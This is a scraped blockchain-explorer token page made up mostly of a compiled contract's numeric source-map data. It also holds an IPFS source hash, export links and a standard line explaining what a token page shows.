04::i;:235::-;9883:247;;9735:411;10211:4;10162:28;6336:18;;;:9;:18;;;;;;10255:6;;-1:-1:-1;;;10255:6:0;;;;10254:7;:47;;;;-1:-1:-1;10288:13:0;;-1:-1:-1;;;;;10282:19:0;;;10288:13;;10282:19;10254:47;:79;;;;-1:-1:-1;10322:11:0;;-1:-1:-1;;;10322:11:0;;;;10254:79;:140;;;;;10377:17;;10354:20;:40;10254:140;:191;;;;;10427:18;;10415:9;;:30;10254:191;:240;;;;-1:-1:-1;10477:12:0;10466:24;;;;:10;:24;;;;;;10493:1;-1:-1:-1;10254:240:0;10232:661;;;10559:51;10576:33;10580:6;10588:20;10576:3;:33::i;:::-;10559:16;:51::i;:::-;10667:12;10656:24;;;;:10;:24;;;;;;:28;;10683:1;10656:28;:::i;:::-;10640:12;10629:24;;;;:10;:24;;;;;:55;10732:21;10776:22;;10772:106;;10823:35;10836:21;10823:12;:35::i;:::-;10540:353;10232:661;8359:2545;8321:2583;10920:13;;10916:172;;10995:4;10977:24;;;;:9;:24;;;;;;:39;;11006:9;10977:28;:39::i;:::-;10968:4;10950:24;;;;:9;:24;;;;;;;:66;;;;11036:40;;-1:-1:-1;;;;;11036:40:0;;;;;;;11066:9;1500:25:1;;1488:2;1473:18;;1354:177;11036:40:0;;;;;;;;10916:172;-1:-1:-1;;;;;11116:15:0;;;;;;:9;:15;;;;;;:27;;11136:6;11116:19;:27::i;:::-;-1:-1:-1;;;;;11098:15:0;;;;;;:9;:15;;;;;:45;11170:40;11188:21;:6;11199:9;11188:10;:21::i;:::-;-1:-1:-1;;;;;11170:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11154:13:0;;;;;;;:9;:13;;;;;:56;;;;11226:41;;;11245:21;:6;11256:9;11245:10;:21::i;:::-;11226:41;;1500:25:1;;;1488:2;1473:18;11226:41:0;;;;;;;8049:3226;7980:3295;;;:::o;1523:224::-;1643:7;1679:12;1671:6;;;;1663:29;;;;-1:-1:-1;;;1663:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1703:9:0;1715:5;1719:1;1715;:5;:::i;:::-;1703:17;1523:224;-1:-1:-1;;;;;1523:224:0:o;11398:609::-;5457:6;:13;;-1:-1:-1;;;;5457:13:0;-1:-1:-1;;;5457:13:0;;;11476:55;;11513:7:::1;11476:55;11546:11;::::0;-1:-1:-1;;;11546:11:0;::::1;;;11541:51:::0;11574:7:::1;11541:51;11626:16;::::0;;11640:1:::1;11626:16:::0;;;;;::::1;::::0;;11602:21:::1;::::0;11626:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11626:16:0::1;11602:40;;11671:4;11653;11658:1;11653:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11653:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11697:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11697:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11653:7;;11697:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11687:4;11692:1;11687:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11687:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11762:15:::1;::::0;11730:62:::1;::::0;11747:4:::1;::::0;11762:15:::1;11780:11:::0;11730:8:::1;:62::i;:::-;11803:15;::::0;:196:::1;::::0;-1:-1:-1;;;11803:196:0;;-1:-1:-1;;;;;11803:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11884:11;;11803:15:::1;::::0;11926:4;;11953::::1;::::0;11973:15:::1;::::0;11803:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11465:542;5481:1;-1:-1:-1::0;5493:6:0;:14;;-1:-1:-1;;;;5493:14:0;;;11398:609::o;12224:92::-;12281:10;;:27;;:10;;;;-1:-1:-1;;;;;12281:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;7737:235;-1:-1:-1;;;;;7843:15:0;;;;;;:9;:15;;;;;;:27;;7863:6;7843:19;:27::i;:::-;-1:-1:-1;;;;;7825:15:0;;;;;;;:9;:15;;;;;;:45;;;;7897:13;;;;;;;:25;;7915:6;7897:17;:25::i;:::-;-1:-1:-1;;;;;7881:13:0;;;;;;;:9;:13;;;;;;;:41;;;;7938:26;;;;;;;;;;7957:6;1500:25:1;;1488:2;1473:18;;1354:177;1755:246:0;1813:7;1837:1;1842;1837:6;1833:47;;-1:-1:-1;1867:1:0;1860:8;;1833:47;1890:9;1902:5;1906:1;1902;:5;:::i;:::-;1890:17;-1:-1:-1;1935:1:0;1926:5;1930:1;1890:17;1926:5;:::i;:::-;:10;1918:56;;;;-1:-1:-1;;;1918:56:0;;15122:2:1;1918:56:0;;;15104:21:1;15161:2;15141:18;;;15134:30;15200:34;15180:18;;;15173:62;-1:-1:-1;;;15251:18:1;;;15244:31;15292:19;;1918:56:0;14920:397:1;1918:56:0;1992:1;1755:246;-1:-1:-1;;;1755:246:0:o;2009:132::-;2067:7;2094:39;2098:1;2101;2094:39;;;;;;;;;;;;;;;;;:3;:39::i;11283:107::-;11340:7;11372:1;11368;:5;11367:15;;11381:1;11367:15;;;-1:-1:-1;11377:1:0;11283:107;-1:-1:-1;11283:107:0:o;1192:179::-;1250:7;;1282:5;1286:1;1282;:5;:::i;:::-;1270:17;;1311:1;1306;:6;;1298:46;;;;-1:-1:-1;;;1298:46:0;;15524:2:1;1298:46:0;;;15506:21:1;15563:2;15543:18;;;15536:30;15602:29;15582:18;;;15575:57;15649:18;;1298:46:0;15322:351:1;1379:136:0;1437:7;1464:43;1468:1;1471;1464:43;;;;;;;;;;;;;;;;;:3;:43::i;2149:223::-;2269:7;2304:12;2297:5;2289:28;;;;-1:-1:-1;;;2289:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2328:9:0;2340:5;2344:1;2340;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2438:127::-;2499:10;2494:3;2490:20;2487:1;2480:31;2530:4;2527:1;2520:15;2554:4;2551:1;2544:15;2570:908;2624:5;2677:3;2670:4;2662:6;2658:17;2654:27;2644:55;;2695:1;2692;2685:12;2644:55;2731:6;2718:20;2757:4;2780:18;2817:2;2813;2810:10;2807:36;;;2823:18;;:::i;:::-;2869:2;2866:1;2862:10;2901:2;2895:9;2964:2;2960:7;2955:2;2951;2947:11;2943:25;2935:6;2931:38;3019:6;3007:10;3004:22;2999:2;2987:10;2984:18;2981:46;2978:72;;;3030:18;;:::i;:::-;3066:2;3059:22;3116:18;;;3192:15;;;3188:24;;;3150:15;;;;-1:-1:-1;3224:15:1;;;3221:35;;;3252:1;3249;3242:12;3221:35;3288:2;3280:6;3276:15;3265:26;;3300:148;3316:6;3311:3;3308:15;3300:148;;;3382:23;3401:3;3382:23;:::i;:::-;3370:36;;3426:12;;;;3333;;;;3300:148;;;3466:6;2570:908;-1:-1:-1;;;;;;;2570:908:1:o;3483:348::-;3567:6;3620:2;3608:9;3599:7;3595:23;3591:32;3588:52;;;3636:1;3633;3626:12;3588:52;3676:9;3663:23;3709:18;3701:6;3698:30;3695:50;;;3741:1;3738;3731:12;3695:50;3764:61;3817:7;3808:6;3797:9;3793:22;3764:61;:::i;:::-;3754:71;3483:348;-1:-1:-1;;;;3483:348:1:o;3836:248::-;3904:6;3912;3965:2;3953:9;3944:7;3940:23;3936:32;3933:52;;;3981:1;3978;3971:12;3933:52;-1:-1:-1;;4004:23:1;;;4074:2;4059:18;;;4046:32;;-1:-1:-1;3836:248:1:o;4297:551::-;4399:6;4407;4415;4468:2;4456:9;4447:7;4443:23;4439:32;4436:52;;;4484:1;4481;4474:12;4436:52;4523:9;4510:23;4542:31;4567:5;4542:31;:::i;:::-;4592:5;-1:-1:-1;4648:2:1;4633:18;;4620:32;4675:18;4664:30;;4661:50;;;4707:1;4704;4697:12;4661:50;4730:61;4783:7;4774:6;4763:9;4759:22;4730:61;:::i;:::-;4720:71;;;4838:2;4827:9;4823:18;4810:32;4800:42;;4297:551;;;;;:::o;4853:388::-;4921:6;4929;4982:2;4970:9;4961:7;4957:23;4953:32;4950:52;;;4998:1;4995;4988:12;4950:52;5037:9;5024:23;5056:31;5081:5;5056:31;:::i;:::-;5106:5;-1:-1:-1;5163:2:1;5148:18;;5135:32;5176:33;5135:32;5176:33;:::i;:::-;5228:7;5218:17;;;4853:388;;;;;:::o;5246:127::-;5307:10;5302:3;5298:20;5295:1;5288:31;5338:4;5335:1;5328:15;5362:4;5359:1;5352:15;5378:422;5467:1;5510:5;5467:1;5524:270;5545:7;5535:8;5532:21;5524:270;;;5604:4;5600:1;5596:6;5592:17;5586:4;5583:27;5580:53;;;5613:18;;:::i;:::-;5663:7;5653:8;5649:22;5646:55;;;5683:16;;;;5646:55;5762:22;;;;5722:15;;;;5524:270;;;5528:3;5378:422;;;;;:::o;5805:806::-;5854:5;5884:8;5874:80;;-1:-1:-1;5925:1:1;5939:5;;5874:80;5973:4;5963:76;;-1:-1:-1;6010:1:1;6024:5;;5963:76;6055:4;6073:1;6068:59;;;;6141:1;6136:130;;;;6048:218;;6068:59;6098:1;6089:10;;6112:5;;;6136:130;6173:3;6163:8;6160:17;6157:43;;;6180:18;;:::i;:::-;-1:-1:-1;;6236:1:1;6222:16;;6251:5;;6048:218;;6350:2;6340:8;6337:16;6331:3;6325:4;6322:13;6318:36;6312:2;6302:8;6299:16;6294:2;6288:4;6285:12;6281:35;6278:77;6275:159;;;-1:-1:-1;6387:19:1;;;6419:5;;6275:159;6466:34;6491:8;6485:4;6466:34;:::i;:::-;6536:6;6532:1;6528:6;6524:19;6515:7;6512:32;6509:58;;;6547:18;;:::i;:::-;6585:20;;5805:806;-1:-1:-1;;;5805:806:1:o;6616:140::-;6674:5;6703:47;6744:4;6734:8;6730:19;6724:4;6703:47;:::i;6761:168::-;6834:9;;;6865;;6882:15;;;6876:22;;6862:37;6852:71;;6903:18;;:::i;6934:356::-;7136:2;7118:21;;;7155:18;;;7148:30;7214:34;7209:2;7194:18;;7187:62;7281:2;7266:18;;6934:356::o;7295:127::-;7356:10;7351:3;7347:20;7344:1;7337:31;7387:4;7384:1;7377:15;7411:4;7408:1;7401:15;7427:135;7466:3;7487:17;;;7484:43;;7507:18;;:::i;:::-;-1:-1:-1;7554:1:1;7543:13;;7427:135::o;7907:251::-;7977:6;8030:2;8018:9;8009:7;8005:23;8001:32;7998:52;;;8046:1;8043;8036:12;7998:52;8078:9;8072:16;8097:31;8122:5;8097:31;:::i;9436:306::-;9524:6;9532;9540;9593:2;9581:9;9572:7;9568:23;9564:32;9561:52;;;9609:1;9606;9599:12;9561:52;9638:9;9632:16;9622:26;;9688:2;9677:9;9673:18;9667:25;9657:35;;9732:2;9721:9;9717:18;9711:25;9701:35;;9436:306;;;;;:::o;10026:277::-;10093:6;10146:2;10134:9;10125:7;10121:23;10117:32;10114:52;;;10162:1;10159;10152:12;10114:52;10194:9;10188:16;10247:5;10240:13;10233:21;10226:5;10223:32;10213:60;;10269:1;10266;10259:12;13095:125;13160:9;;;13181:10;;;13178:36;;;13194:18;;:::i;13580:128::-;13647:9;;;13668:11;;;13665:37;;;13682:18;;:::i;13713:980::-;13975:4;14023:3;14012:9;14008:19;14054:6;14043:9;14036:25;14080:2;14118:6;14113:2;14102:9;14098:18;14091:34;14161:3;14156:2;14145:9;14141:18;14134:31;14185:6;14220;14214:13;14251:6;14243;14236:22;14289:3;14278:9;14274:19;14267:26;;14328:2;14320:6;14316:15;14302:29;;14349:1;14359:195;14373:6;14370:1;14367:13;14359:195;;;14438:13;;-1:-1:-1;;;;;14434:39:1;14422:52;;14529:15;;;;14494:12;;;;14470:1;14388:9;14359:195;;;-1:-1:-1;;;;;;;14610:32:1;;;;14605:2;14590:18;;14583:60;-1:-1:-1;;;14674:3:1;14659:19;14652:35;14571:3;13713:980;-1:-1:-1;;;13713:980:1:o;14698:217::-;14738:1;14764;14754:132;;14808:10;14803:3;14799:20;14796:1;14789:31;14843:4;14840:1;14833:15;14871:4;14868:1;14861:15;14754:132;-1:-1:-1;14900:9:1;;14698:217::o

Swarm Source

ipfs://5f551dcfc0dcc72fed89cff88b0082ecd74bf40268a3c4fce8b27b08746d3f57
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.